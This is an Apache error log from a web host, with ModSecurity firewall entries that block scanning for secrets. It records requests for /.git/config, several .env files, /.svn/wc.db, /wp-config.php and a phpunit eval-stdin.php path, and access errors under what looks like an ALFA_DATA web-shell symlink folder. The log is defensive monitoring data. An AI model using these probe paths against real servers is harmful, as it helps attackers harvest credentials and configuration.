[Sat Oct 24 05:41:13.673281 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HmAAAAAI"]
[Sat Oct 24 05:41:13.673777 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HmAAAAAI"]
[Sat Oct 24 05:41:13.674123 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HmAAAAAI"]
[Sat Oct 24 05:41:30.150888 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.225.243.131:32406] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:36.849768 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.18:46616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/object_size
[Sat Oct 24 05:41:38.138878 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.159.98.248:49943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:39.457516 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 216.244.66.250:40874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/cc
[Sat Oct 24 05:41:42.163198 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.90.73.206:5809] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:46.179153 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 54.162.69.192:8253] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 05:41:46.888142 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx9WrX1SaR9hxmEXognaAAAAAo"]
[Sat Oct 24 05:41:46.888376 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx9WrX1SaR9hxmEXognaAAAAAo"]
[Sat Oct 24 05:41:46.888641 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx9WrX1SaR9hxmEXognaAAAAAo"]
[Sat Oct 24 05:41:46.990024 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atx9WrX1SaR9hxmEXognaQAAAAo"]
[Sat Oct 24 05:41:46.990198 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atx9WrX1SaR9hxmEXognaQAAAAo"]
[Sat Oct 24 05:41:46.990414 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atx9WrX1SaR9hxmEXognaQAAAAo"]
[Sat Oct 24 05:41:46.990755 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "atx9WrX1SaR9hxmEXognaQAAAAo"]
[Sat Oct 24 05:41:47.103179 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx9W7X1SaR9hxmEXognagAAAAo"]
[Sat Oct 24 05:41:47.103407 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx9W7X1SaR9hxmEXognagAAAAo"]
[Sat Oct 24 05:41:47.103752 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx9W7X1SaR9hxmEXognagAAAAo"]
[Sat Oct 24 05:41:47.486993 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atx9W7X1SaR9hxmEXognbQAAAAo"]
[Sat Oct 24 05:41:47.487297 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atx9W7X1SaR9hxmEXognbQAAAAo"]
[Sat Oct 24 05:41:47.487724 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atx9W7X1SaR9hxmEXognbQAAAAo"]
[Sat Oct 24 05:41:47.583947 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atx9W7X1SaR9hxmEXognbgAAAAo"]
[Sat Oct 24 05:41:47.584278 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atx9W7X1SaR9hxmEXognbgAAAAo"]
[Sat Oct 24 05:41:47.584739 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atx9W7X1SaR9hxmEXognbgAAAAo"]
[Sat Oct 24 05:41:47.744658 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atx9W7X1SaR9hxmEXognbwAAAAo"]
[Sat Oct 24 05:41:47.744960 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atx9W7X1SaR9hxmEXognbwAAAAo"]
[Sat Oct 24 05:41:47.745300 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atx9W7X1SaR9hxmEXognbwAAAAo"]
[Sat Oct 24 05:41:47.874527 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atx9W7X1SaR9hxmEXogncAAAAAo"]
[Sat Oct 24 05:41:47.874782 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atx9W7X1SaR9hxmEXogncAAAAAo"]
[Sat Oct 24 05:41:47.875149 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atx9W7X1SaR9hxmEXogncAAAAAo"]
[Sat Oct 24 05:41:48.051376 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atx9XLX1SaR9hxmEXogncQAAAAo"]
[Sat Oct 24 05:41:48.051642 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atx9XLX1SaR9hxmEXogncQAAAAo"]
[Sat Oct 24 05:41:48.052011 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atx9XLX1SaR9hxmEXogncQAAAAo"]
[Sat Oct 24 05:41:48.203867 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atx9XLX1SaR9hxmEXogncgAAAAo"]
[Sat Oct 24 05:41:48.204110 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atx9XLX1SaR9hxmEXogncgAAAAo"]
[Sat Oct 24 05:41:48.204428 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atx9XLX1SaR9hxmEXogncgAAAAo"]
[Sat Oct 24 05:41:48.359062 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atx9XLX1SaR9hxmEXogncwAAAAo"]
[Sat Oct 24 05:41:48.359323 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atx9XLX1SaR9hxmEXogncwAAAAo"]
[Sat Oct 24 05:41:48.359671 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atx9XLX1SaR9hxmEXogncwAAAAo"]
[Sat Oct 24 05:41:48.474224 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "atx9XLX1SaR9hxmEXogndAAAAAo"]
[Sat Oct 24 05:41:48.474467 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "atx9XLX1SaR9hxmEXogndAAAAAo"]
[Sat Oct 24 05:41:48.474774 2026] [security2:error] [pid 2608798:tid 2608798] [client 45.138.12.16:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "atx9XLX1SaR9hxmEXogndAAAAAo"]
